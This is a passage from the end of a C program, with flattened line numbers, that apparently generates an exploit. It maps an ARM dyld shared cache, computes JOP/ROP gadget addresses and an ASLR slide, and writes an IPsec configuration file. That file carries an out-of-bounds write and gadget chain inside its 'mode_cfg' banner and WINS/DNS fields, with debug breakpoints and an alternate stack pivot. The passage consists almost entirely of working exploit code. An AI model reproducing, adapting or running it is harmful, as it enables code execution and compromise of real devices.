if (i < r_ints) fprintf(f, " phase2 %u sec;\n", rp[i++]); 1370 | if (i < r_ints) fprintf(f, " natt_keepalive %u sec;\n", rp[i++]); 1371 | fprintf(f, 1372 | "}\n" 1373 | "mode_cfg {\n"); 1374 | } 1375 | assert(!is_bad_addr(gadget_jop)); 1376 | *(uint64_t *)(rstrip + 0) = gadget_jop; 1377 | *(uint64_t *)(rstrip + 8) = stage1_addr; 1378 | rsz = 8 * 2; 1379 | gadget_jop = gadget_jop2; 1380 | #ifdef BREAKPOINT_0 1381 | gadget_jop = 0x5151515151515151; 1382 | #endif 1383 | #ifdef BREAKPOINT_1 1384 | *(uint64_t *)(rstrip + 0) = 0x5353535353535353; 1385 | *(uint64_t *)(rstrip + 8) = 0x5555555555555555; 1386 | #endif 1387 | dirty = 1; 1388 | } 1389 | for (i = 0; i < rsz; i++) { 1390 | assert(rstrip[i] != '\"'); 1391 | } 1392 | 1393 | fprintf(f, 1394 | " wins4 1.2.3.4;\n" 1395 | " wins4 1.2.3.4;\n" 1396 | " wins4 1.2.3.4;\n" 1397 | " wins4 1.2.3.4;\n" 1398 | " wins4 255.255.255.255;\n" 1399 | " wins4 %u.%u.%u.%u;\n" 1400 | " dns4 %u.%u.%u.%u;\n" 1401 | " dns4 %u.%u.%u.%u;\n" 1402 | "}\n" 1403 | "timer {\n" 1404 | " counter %u;\n" 1405 | " interval %u sec;\n" 1406 | "}\n" 1407 | "mode_cfg {\n" 1408 | " banner \"", 1409 | _c4(OOB_WRITE), _c8(memmove_lazy + slide - WRITE_BIAS), _i2(gadget_jop)); 1410 | 1411 | fwrite(rstrip, 1, rsz, f); 1412 | 1413 | fprintf(f, "\";\n"); 1414 | 1415 | free(rstrip); 1416 | } 1417 | 1418 | fprintf(f, "}\n"); 1419 | 1420 | fclose(f); 1421 | 1422 | return 0; 1423 | } 1424 | 1425 | static int 1426 | do_the_cache(const char *filename, uint64_t masterSlide) 1427 | { 1428 | int rv; 1429 | int fd; 1430 | uint8_t *p; 1431 | off_t sz; 1432 | 1433 | fd = open(filename, O_RDONLY); 1434 | if (fd < 0) { 1435 | fprintf(stderr, "error: cannot open %s\n", filename); 1436 | return -1; 1437 | } 1438 | 1439 | sz = lseek(fd, 0, SEEK_END); 1440 | 1441 | p = mmap(NULL, sz, PROT_READ, MAP_PRIVATE, fd, 0); 1442 | if (p == MAP_FAILED) { 1443 | close(fd); 1444 | fprintf(stderr, "error: cannot map %s\n", filename); 1445 | return -1; 1446 | } 1447 | 1448 | assert(!memcmp(p, "dyld_v1 arm", 13)); 1449 | rv = really(p, sz, masterSlide); 1450 | 1451 | munmap(p, sz); 1452 | close(fd); 1453 | 1454 | if (rv != 0) { 1455 | fprintf(stderr, "error: cannot parse %s\n", filename); 1456 | return -1; 1457 | } 1458 | 1459 | return 0; 1460 | } 1461 | 1462 | int 1463 | main(int argc, char **argv) 1464 | { 1465 | uint64_t masterSlide = -1; 1466 | if (argc < 2) { 1467 | printf("usage: %s cache [slide]\n", argv[0]); 1468 | return 1; 1469 | } 1470 | if (argc > 2) { 1471 | masterSlide = strtoull(argv[2], NULL, 0); 1472 | } 1473 | #ifdef FORCE_ALT_PIVOT 1474 | gadgets[1].bytes = gadgets[1].bytes2; 1475 | gadgets[1].length = gadgets[1].length2; 1476 | #endif 1477 | return do_the_cache(argv[1], masterSlide); 1478 | } 1479 | --------------------------------------------------------------------------------